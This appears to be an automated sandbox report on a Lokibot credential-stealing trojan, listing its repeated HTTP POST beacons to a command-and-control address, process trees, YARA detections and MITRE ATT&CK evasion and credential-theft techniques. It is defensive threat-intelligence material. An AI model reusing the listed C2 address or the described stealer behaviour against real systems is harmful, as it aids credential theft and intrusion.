Mar 15, 2021 20:01:52.449352980 CET	1232	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:52 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49763	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:52.696928978 CET	1233	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:53.726037025 CET	1233	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:52 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49764	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:53.959341049 CET	1234	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:54.642890930 CET	1235	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:53 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49765	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:54.879328012 CET	1235	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:55.280209064 CET	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:54 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49702	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:07.329027891 CET	1140	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:08.041173935 CET	1141	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:07 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49766	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:55.525891066 CET	1237	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:55.944955111 CET	1237	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:55 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49767	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:56.202303886 CET	1238	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:57.125554085 CET	1239	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:56 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49768	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:57.369297028 CET	1239	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:58.576225042 CET	1240	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:57 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49769	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:58.816874027 CET	1241	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:02:01.043610096 CET	1241	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:58 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49770	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:02:01.283552885 CET	1242	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:02:02.824486971 CET	1243	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:02:01 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49771	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:02:03.077739954 CET	1243	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49772	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49773	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49774	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49775	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49703	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:08.319139957 CET	1142	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:09.199748039 CET	1142	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49776	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49777	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49778	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49779	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49780	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49781	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49782	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49783	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49784	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49785	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49704	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:09.459260941 CET	1143	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:09.990871906 CET	1144	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:09 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49786	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49787	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49788	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49789	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49790	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49791	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49792	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49793	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49794	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49795	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Mar 15, 2021 20:00:49.109810114 CET	172.67.197.219	443	192.168.2.5	49692	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Fri Mar 12 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Sat Mar 12 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Mar 15, 2021 20:00:49.109810114 CET	172.67.197.219	443	192.168.2.5	49692	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 2576 Parent PID: 5660

General

Start time:	20:00:46
Start date:	15/03/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe'
Imagebase:	0xa60000
File size:	433664 bytes
MD5 hash:	968E090B17CE57156A66188B4DB032BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: cmd.exe PID: 4176 Parent PID: 2576

General

Start time:	20:00:51
Start date:	15/03/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0x12e0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1552 Parent PID: 4176

General

Start time:	20:00:52
Start date:	15/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: timeout.exe PID: 3896 Parent PID: 4176

General

Start time:	20:00:52
Start date:	15/03/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0x3d0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804 Parent PID: 2576

General

Start time:	20:00:55
Start date:	15/03/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Imagebase:	0x630000
File size:	433664 bytes
MD5 hash:	968E090B17CE57156A66188B4DB032BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: WerFault.exe PID: 5944 Parent PID: 2576

General

Start time:	20:00:58
Start date:	15/03/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 2120
Imagebase:	0x7ff797770000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

